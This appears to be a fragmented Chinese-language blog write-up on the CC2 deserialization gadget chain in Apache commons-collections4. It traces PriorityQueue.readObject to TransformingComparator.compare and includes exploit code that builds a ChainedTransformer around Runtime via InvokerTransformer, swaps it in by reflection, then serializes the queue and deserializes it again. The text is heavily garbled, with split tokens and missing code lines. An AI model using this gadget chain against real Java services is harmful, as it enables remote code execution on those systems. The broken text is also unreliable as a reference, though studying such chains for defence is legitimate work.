触发Transform的关键类TransformingComparator

Exp

API并且引入了一些新的功能和改进同时也修复了一些旧版本中存在的

commons-collections4有了两条新的利用链CC2和CC4这篇文章简单聊聊CC2

CC链是一条Serializable#readObject()到Transformer#transform()的调用链

触发Transform的关键类TransformingComparator

public

this.transformer.transform(obj1);O

value2

this.transformer.transform(obj2);return

value2);}

现在我们的任务就是怎么去调用TransformingComparator的compare方法

先看PriorityQueue的构造方法要求传入一个int和一个Comparator

public

IllegalArgumentException();this.queue

new

Object[initialCapacity];this.comparator

comparator;}

readObject(java.io.ObjectInputStream

s)throws

lengths.readInt();SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s,

Object[].class,

显然由构造方法传入的comparator不为nullheapify方法进了else分支调用siftDownUsingComparator

private

而siftDownUsingComparator内部会调用构造方法传入的comparator的compare方法此时我们只要令comparator为TransformingComparator即可完成利用链的调用。

private

org.apache.commons.collections4.Transformer;

import

org.apache.commons.collections4.comparators.TransformingComparator;

import

org.apache.commons.collections4.functors.ChainedTransformer;

import

org.apache.commons.collections4.functors.ConstantTransformer;

import

org.apache.commons.collections4.functors.InvokerTransformer;public

class

obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,

value);}public

{newConstantTransformer(1)};Transformer[]

transformers

ConstantTransformer(Runtime.class),new

new

ChainedTransformer(fakeTransformers);Comparator

comparator

TransformingComparator(transformerChain);PriorityQueue

queue

comparator);queue.add(1);queue.add(2);setFieldValue(transformerChain,

iTransformers,

transformers);ByteArrayOutputStream

barr

ByteArrayOutputStream();ObjectOutputStream

oos

ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream

ois

ByteArrayInputStream(barr.toByteArray()));Object